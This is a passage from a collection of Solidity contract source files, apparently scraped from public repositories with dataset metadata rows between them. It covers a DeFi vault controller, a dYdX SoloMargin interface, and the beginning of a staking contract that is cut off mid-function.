uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IStrategy {
event Deposit(address token, uint256 amount);
event Withdraw(address token, uint256 amount, address to);
event Harvest(uint256 priceShareBefore, uint256 priceShareAfter, address compoundToken, uint256 compoundBalance, uint256 reserveFundAmount);
function baseToken() external view returns (address);
function deposit() external;
function withdraw(address _asset) external returns (uint256);
function withdraw(uint256 _amount) external returns (uint256);
function withdrawToController(uint256 _amount) external;
function skim() external;
function harvest(address _mergedStrategy) external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function beforeDeposit() external;
}
interface IVSafeVault {
function cap() external view returns (uint256);
function getVaultMaster() external view returns (address);
function balance() external view returns (uint256);
function token() external view returns (address);
function available() external view returns (uint256);
function accept(address _input) external view returns (bool);
function earn() external;
function harvest(address reserve, uint256 amount) external;
function addNewCompound(uint256, uint256) external;
function withdraw_fee(uint256 _shares) external view returns (uint256);
function calc_token_amount_deposit(uint256 _amount) external view returns (uint256);
function calc_token_amount_withdraw(uint256 _shares) external view returns (uint256);
function getPricePerFullShare() external view returns (uint256);
function deposit(uint256 _amount, uint256 _min_mint_amount) external returns (uint256);
function depositFor(address _account,
address _to,
uint256 _amount,
uint256 _min_mint_amount) external returns (uint256 _mint_amount);
function withdraw(uint256 _shares, uint256 _min_output_amount) external returns (uint256);
function withdrawFor(address _account,
uint256 _shares,
uint256 _min_output_amount) external returns (uint256 _output_amount);
function harvestStrategy(address _strategy) external;
function harvestAllStrategies() external;
}
interface IController {
function vault() external view returns (IVSafeVault);
function getStrategyCount() external view returns (uint256);
function strategies(uint256 _stratId)
external
view
returns (address _strategy,
uint256 _quota,
uint256 _percent);
function getBestStrategy() external view returns (address _strategy);
function want() external view returns (address);
function balanceOf() external view returns (uint256);
function withdraw_fee(uint256 _amount) external view returns (uint256); // eg. 3CRV => pJar: 0.5% (50/10000)
function investDisabled() external view returns (bool);
function withdraw(uint256) external returns (uint256 _withdrawFee);
function earn(address _token, uint256 _amount) external;
function harvestStrategy(address _strategy) external;
function harvestAllStrategies() external;
function beforeDeposit() external;
function withdrawFee(uint256) external view returns (uint256); // pJar: 0.5% (50/10000)
}
contract VSafeVaultController is IController {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
struct StrategyInfo {
address strategy;
uint256 quota; // set = 0 to disable
uint256 percent;
}
IVSafeVault public override vault;
string public name = "VSafeVaultController:BELTStableLP";
address public override want;
uint256 public strategyLength;
// stratId => StrategyInfo
mapping(uint256 => StrategyInfo) public override strategies;
mapping(address => bool) public approvedStrategies;
bool public override investDisabled;
address public lazySelectedBestStrategy; // we pre-set the best strategy to avoid gas cost of iterating the array
uint256 public lastHarvestAllTimeStamp;
uint256 public withdrawalFee = 0; // over 10000
constructor(IVSafeVault _vault) public {
require(address(_vault) != address(0), "!_vault");
vault = _vault;
want = vault.token();
governance = msg.sender;
strategist = msg.sender;
}
modifier onlyGovernance() {
require(msg.sender == governance, "!governance");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
_;
}
modifier onlyAuthorized() {
require(msg.sender == address(vault) || msg.sender == strategist || msg.sender == governance, "!authorized");
_;
}
function setName(string memory _name) external onlyGovernance {
name = _name;
}
function setGovernance(address _governance) external onlyGovernance {
governance = _governance;
}
function setStrategist(address _strategist) external onlyGovernance {
strategist = _strategist;
}
function approveStrategy(address _strategy) external onlyGovernance {
approvedStrategies[_strategy] = true;
}
function revokeStrategy(address _strategy) external onlyGovernance {
approvedStrategies[_strategy] = false;
}
function setWithdrawalFee(uint256 _withdrawalFee) external onlyGovernance {
withdrawalFee = _withdrawalFee;
}
function setStrategyLength(uint256 _length) external onlyStrategist {
strategyLength = _length;
}
// stratId => StrategyInfo
function setStrategyInfo(uint256 _sid,
address _strategy,
uint256 _quota,
uint256 _percent) external onlyStrategist {
require(approvedStrategies[_strategy], "!approved");
strategies[_sid].strategy = _strategy;
strategies[_sid].quota = _quota;
strategies[_sid].percent = _percent;
}
function setInvestDisabled(bool _investDisabled) external onlyStrategist {
investDisabled = _investDisabled;
}
function setLazySelectedBestStrategy(address _strategy) external onlyStrategist {
require(approvedStrategies[_strategy], "!approved");
require(IStrategy(_strategy).baseToken() == want, "!want");
lazySelectedBestStrategy = _strategy;
}
function getStrategyCount() external view override returns (uint256 _strategyCount) {
_strategyCount = strategyLength;
}
function getBestStrategy() public view override returns (address _strategy) {
if (lazySelectedBestStrategy != address(0)) {
return lazySelectedBestStrategy;
}
_strategy = address(0);
if (strategyLength == 0) return _strategy;
if (strategyLength == 1) return strategies[0].strategy;
uint256 _totalBal = balanceOf();
if (_totalBal == 0) return strategies[0].strategy; // first depositor, simply return the first strategy
uint256 _bestDiff = 201;
for (uint256 _sid = 0; _sid < strategyLength; _sid++) {
StrategyInfo storage sinfo = strategies[_sid];
uint256 _stratBal = IStrategy(sinfo.strategy).balanceOf();
if (_stratBal < sinfo.quota) {
uint256 _diff = _stratBal.add(_totalBal).mul(100).div(_totalBal).sub(sinfo.percent); // [100, 200] - [percent]
if (_diff < _bestDiff) {
_bestDiff = _diff;
_strategy = sinfo.strategy;
}
}
}
if (_strategy == address(0)) {
_strategy = strategies[0].strategy;
}
}
function beforeDeposit() external override onlyAuthorized {
for (uint256 _sid = 0; _sid < strategyLength; _sid++) {
IStrategy(strategies[_sid].strategy).beforeDeposit();
}
}
function earn(address _token, uint256 _amount) external override onlyAuthorized {
address _strategy = getBestStrategy();
if (_strategy == address(0) || IStrategy(_strategy).baseToken() != _token) {
// forward to vault and then call earnExtra() by its governance
IERC20(_token).safeTransfer(address(vault), _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
IStrategy(_strategy).deposit();
}
}
function withdraw_fee(uint256 _amount) external view override returns (uint256) {
address _strategy = getBestStrategy();
return (_strategy == address(0)) ? 0 : withdrawFee(_amount);
}
function balanceOf() public view override returns (uint256 _totalBal) {
for (uint256 _sid = 0; _sid < strategyLength; _sid++) {
_totalBal = _totalBal.add(IStrategy(strategies[_sid].strategy).balanceOf());
}
}
function withdrawAll(address _strategy) external onlyStrategist {
// WithdrawAll sends 'want' to 'vault'
IStrategy(_strategy).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint256 _amount) external onlyStrategist {
IERC20(_token).safeTransfer(address(vault), _amount);
}
function inCaseStrategyGetStuck(address _strategy, address _token) external onlyStrategist {
IStrategy(_strategy).withdraw(_token);
IERC20(_token).safeTransfer(address(vault), IERC20(_token).balanceOf(address(this)));
}
// note that some strategies do not allow controller to harvest
function harvestStrategy(address _strategy) external override onlyAuthorized {
IStrategy(_strategy).harvest(address(0));
}
function harvestAllStrategies() external override onlyAuthorized {
address _bestStrategy = getBestStrategy(); // to send all harvested WETH and proceed the profit sharing all-in-one here
for (uint256 _sid = 0; _sid < strategyLength; _sid++) {
address _strategy = strategies[_sid].strategy;
if (_strategy != _bestStrategy) {
IStrategy(_strategy).harvest(_bestStrategy);
}
}
if (_bestStrategy != address(0)) {
IStrategy(_bestStrategy).harvest(address(0));
}
lastHarvestAllTimeStamp = block.timestamp;
}
function switchFund(IStrategy _srcStrat,
IStrategy _destStrat,
uint256 _amount) external onlyStrategist {
require(approvedStrategies[address(_destStrat)], "!approved");
require(_srcStrat.baseToken() == want, "!_srcStrat.baseToken");
require(_destStrat.baseToken() == want, "!_destStrat.baseToken");
_srcStrat.withdrawToController(_amount);
IERC20(want).safeTransfer(address(_destStrat), IERC20(want).balanceOf(address(this)));
_destStrat.deposit();
}
function withdrawFee(uint256 _amount) public view override returns (uint256) {
return _amount.mul(withdrawalFee).div(10000);
}
function withdraw(uint256 _amount) external override onlyAuthorized returns (uint256 _withdrawFee) {
_withdrawFee = 0;
uint256 _toWithdraw = _amount;
uint256 _received;
for (uint256 _sid = 0; _sid < strategyLength; _sid++) {
IStrategy _strategy = IStrategy(strategies[_sid].strategy);
uint256 _stratBal = _strategy.balanceOf();
if (_toWithdraw < _stratBal) {
_received = _strategy.withdraw(_toWithdraw);
_withdrawFee = _withdrawFee.add(withdrawFee(_received));
return _withdrawFee;
}
_received = _strategy.withdrawAll();
_withdrawFee = _withdrawFee.add(withdrawFee(_received));
if (_received >= _toWithdraw) {
return _withdrawFee;
}
_toWithdraw = _toWithdraw.sub(_received);
}
return _withdrawFee;
}
}
| 257,289 | 12,061 |
222cde88e29cb197e53bccef32986d13d6fe413ce5a81bd4c2ed3daf61cf70e7
| 11,405 |
.sol
|
Solidity
| false |
312048663
|
Grandthrax/yearnV2-generic-lender-strat
|
9b383574a19ea6dc0fdf7131b7a46f8cda1b6250
|
contracts/Interfaces/DyDx/ISoloMargin.sol
| 2,598 | 11,268 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
library Account {
enum Status {Normal, Liquid, Vapor}
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
struct Storage {
mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal
Status status;
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary}
enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct DepositArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address from;
}
struct WithdrawArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address to;
}
struct TransferArgs {
Types.AssetAmount amount;
Account.Info accountOne;
Account.Info accountTwo;
uint256 market;
}
struct BuyArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 makerMarket;
uint256 takerMarket;
address exchangeWrapper;
bytes orderData;
}
struct SellArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 takerMarket;
uint256 makerMarket;
address exchangeWrapper;
bytes orderData;
}
struct TradeArgs {
Types.AssetAmount amount;
Account.Info takerAccount;
Account.Info makerAccount;
uint256 inputMarket;
uint256 outputMarket;
address autoTrader;
bytes tradeData;
}
struct LiquidateArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info liquidAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct VaporizeArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info vaporAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct CallArgs {
Account.Info account;
address callee;
bytes data;
}
}
library Decimal {
struct D256 {
uint256 value;
}
}
library Interest {
struct Rate {
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
}
library Monetary {
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
}
library Storage {
// All information necessary for tracking a market
struct Market {
// Contract address of the associated ERC20 token
address token;
// Total aggregated supply and borrow amount of the entire market
Types.TotalPar totalPar;
// Interest index of the market
Interest.Index index;
// Contract address of the price oracle for this market
address priceOracle;
// Contract address of the interest setter for this market
address interestSetter;
// Multiplier on the marginRatio for this market
Decimal.D256 marginPremium;
// Multiplier on the liquidationSpread for this market
Decimal.D256 spreadPremium;
// Whether additional borrows are allowed for this market
bool isClosing;
}
// The global risk parameters that govern the health and security of the system
struct RiskParams {
// Required ratio of over-collateralization
Decimal.D256 marginRatio;
// Percentage penalty incurred by liquidated accounts
Decimal.D256 liquidationSpread;
// Percentage of the borrower's interest fee that gets passed to the suppliers
Decimal.D256 earningsRate;
// The minimum absolute borrow value of an account
// There must be sufficient incentivize to liquidate undercollateralized accounts
Monetary.Value minBorrowedValue;
}
// The maximum RiskParam values that can be set
struct RiskLimits {
uint64 marginRatioMax;
uint64 liquidationSpreadMax;
uint64 earningsRateMax;
uint64 marginPremiumMax;
uint64 spreadPremiumMax;
uint128 minBorrowedValueMax;
}
// The entire storage state of Solo
struct State {
// number of markets
uint256 numMarkets;
// marketId => Market
mapping(uint256 => Market) markets;
// owner => account number => Account
mapping(address => mapping(uint256 => Account.Storage)) accounts;
// Addresses that can control other users accounts
mapping(address => mapping(address => bool)) operators;
// Addresses that can control all users accounts
mapping(address => bool) globalOperators;
// mutable risk parameters of the system
RiskParams riskParams;
// immutable risk limits of the system
RiskLimits riskLimits;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Par {
bool sign; // true if positive
uint128 value;
}
struct Wei {
bool sign; // true if positive
uint256 value;
}
}
interface ISoloMargin {
struct OperatorArg {
address operator1;
bool trusted;
}
function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external;
function getIsGlobalOperator(address operator1) external view returns (bool);
function getMarketTokenAddress(uint256 marketId) external view returns (address);
function ownerSetInterestSetter(uint256 marketId, address interestSetter) external;
function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory);
function getMarketPriceOracle(uint256 marketId) external view returns (address);
function getMarketInterestSetter(uint256 marketId) external view returns (address);
function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory);
function getNumMarkets() external view returns (uint256);
function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256);
function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external;
function ownerSetLiquidationSpread(Decimal.D256 memory spread) external;
function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external;
function getIsLocalOperator(address owner, address operator1) external view returns (bool);
function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory);
function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external;
function getMarginRatio() external view returns (Decimal.D256 memory);
function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory);
function getMarketIsClosing(uint256 marketId) external view returns (bool);
function getRiskParams() external view returns (Storage.RiskParams memory);
function getAccountBalances(Account.Info memory account)
external
view
returns (address[] memory,
Types.Par[] memory,
Types.Wei[] memory);
function renounceOwnership() external;
function getMinBorrowedValue() external view returns (Monetary.Value memory);
function setOperators(OperatorArg[] memory args) external;
function getMarketPrice(uint256 marketId) external view returns (address);
function owner() external view returns (address);
function isOwner() external view returns (bool);
function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256);
function ownerAddMarket(address token,
address priceOracle,
address interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium) external;
function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external;
function getMarketWithInfo(uint256 marketId)
external
view
returns (Storage.Market memory,
Interest.Index memory,
Monetary.Price memory,
Interest.Rate memory);
function ownerSetMarginRatio(Decimal.D256 memory ratio) external;
function getLiquidationSpread() external view returns (Decimal.D256 memory);
function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory);
function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory);
function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory);
function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory);
function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory);
function getAccountStatus(Account.Info memory account) external view returns (uint8);
function getEarningsRate() external view returns (Decimal.D256 memory);
function ownerSetPriceOracle(uint256 marketId, address priceOracle) external;
function getRiskLimits() external view returns (Storage.RiskLimits memory);
function getMarket(uint256 marketId) external view returns (Storage.Market memory);
function ownerSetIsClosing(uint256 marketId, bool isClosing) external;
function ownerSetGlobalOperator(address operator1, bool approved) external;
function transferOwnership(address newOwner) external;
function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory);
function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory);
function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory);
}
| 242,679 | 12,062 |
fecbea817956e3145f83e8825a9b949656741dc1e2eda6dc4d2404abed9b731f
| 27,350 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cf/cfe79a5713fa275bc945b4ef778af0b596afbff1_KandyStaking.sol
| 4,190 | 16,927 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract KandyStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
